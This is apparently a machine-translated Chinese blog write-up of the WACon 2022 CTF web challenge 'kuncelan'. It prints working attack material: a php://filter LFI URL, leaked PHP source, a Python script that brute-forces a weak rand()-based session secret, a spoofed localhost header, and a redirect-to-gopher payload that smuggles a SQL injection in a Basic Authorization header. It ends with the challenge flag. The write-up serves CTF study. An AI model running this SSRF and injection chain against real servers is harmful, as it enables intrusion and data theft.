Arang.dev
搜索
WACon CTF 2022🏁 CTF🌐 已翻译

2022 WACon CTF - kuncelan 题解

WACon 2022 kuncelan (黑盒) Web 题解 - 利用 LFI, SSRF, Gopher 进行 SQL 注入

#wacon#lfi#ssrf#gopher#sqli

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

kuncelan

http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

存在 LFI 漏洞

<?php
 
// LOCATION : ./internal_e0134cd5a917.php
 
error_reporting(0);
session_start();
 
if (!isset($_SESSION['username']))
{
 header('location: ./login.php');
 die();
}
 
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
 die("only in include");
}
 
function valid_url($url)
{
 $valid = False;
 $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
 if (!$res) $valid = True;
 try{ parse_url($url); }
 catch(Exception $e){ $valid = True;}
 $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
 return $valid 
 || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
 || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
 
function get_data($url)
{
 
 if (valid_url($url) === True) { return "IP not allowed or host error"; }
 
 $ch = curl_init();
 $timeout = 7;
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
 curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 $data = curl_exec($ch);
 
 if (curl_error($ch))
 {
 curl_close($ch);
 return "Error !";
 }
 
 curl_close($ch);
 return $data;
}
 
function gen($user){
 return substr(sha1((string)rand(0,getrandmax())),0,20);
}
 
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
 
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
 
$out = "";
 
if (isset($_POST['url']) && !empty($_POST['url']))
{
 if ( 
 $IP === "127.0.0.1" 
 & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
 & strpos($_COOKIE['USER'], 'admin') !== false 
 )
 {
 $out = get_data($_POST['url']);
 }
 else
 {
 $out = "Only the administrator can test this function from 127.0.0.1!";
 }
 
}
 
?>
 
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

load.phtml 提取结果

虽然设置了 curl 功能仅允许 admin 在 localhost 上使用,但这是可以绕过的。

function gen($user){
 return substr(sha1((string)rand(0,getrandmax())),0,20);
}
 
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

使用 getrandmax() 生成随机数,进行 sha1 哈希处理后截取 10 个字节,再将其与 username 拼接进行 sha256 哈希。

但由于 getrandmax 的值仅为 21 亿左右,即使使用个人 PC 也能在很短的时间内破解该哈希。

from arang import *
 
xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"
 
for i in range(40000000,500000000):
 xsecret = he(sha1(str(i)))[:20]
 t = he(sha256(xsecret+b"guest"))
 if xtoken == t:
 print(xsecret)
 break
 
 if i % 10000000 == 0:
 print(f"[+] {i} : {xsecret} {t}")

大致像这样破解哈希后,就会出现针对我当前会话的 xsecret 值

现在利用这个 xsecret 生成有效的 admin x-token,就可以绕过 token auth 验证。

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
 
...
 
 if ( $IP === "127.0.0.1" ){
 
...

这可以通过添加 X-HTTP-HOST-OVERRIDE 请求头并将其设置为 127.0.0.1 来绕过

function valid_url($url)
{
 $valid = False;
 $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
 if (!$res) $valid = True;
 try{ parse_url($url); }
 catch(Exception $e){ $valid = True;}
 $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
 return $valid 
 || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
 || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

现在可以使用 curl 功能了,但存在一个名为 valid_url 的验证函数。

  1. 仅允许使用 http/https scheme
  2. 解析 host,通过 gethostbyname 获取对应值,并使用 ip2long 转换为 long 格式
  3. 通过 /24, /20, /16 等掩码验证 local ip 网段

我费了好大劲尝试绕过,但没成功……

$ch = curl_init();
 $timeout = 7;
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
 curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 $data = curl_exec($ch);

不过 curl 选项中开启了 CURLOPT_FOLLOWLOCATION

既然 curl 会处理 302 Redirection,那么先发送到我的服务器,然后返回 302 跳转应该就可以了。

<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");
 
#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?>

将 Location 指向 load.phtml 注释中提到的 internal_e0134cd5a917.php 文件后

next file location 惊了

提示缺少 basic authorization

尝试发送 guest:guest,结果提示 SQL : user not found

看来是将 basic authorization 的内容放入了 sql query 中

尝试注入 sqli 语句,提示 localhostonly

这次无法像之前那样通过特定 HTTP 头来绕过了

Authorization 头无法通过 curl 的 302 跳转传递到其他站点,正当我苦恼之时

通过 sqli 提取数据表,发现了一部分 Flag

看来得用 Gopher 协议了

header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

使用 gopher 构造并发送 HTTP raw packet,

即可获取剩余部分

**WACon{Try_using_Gophhhher_ffabcdbc}**

评论

正在加载评论...
2022 WACon CTF - kuncelan 题解 | WACon CTF 2022 | Arang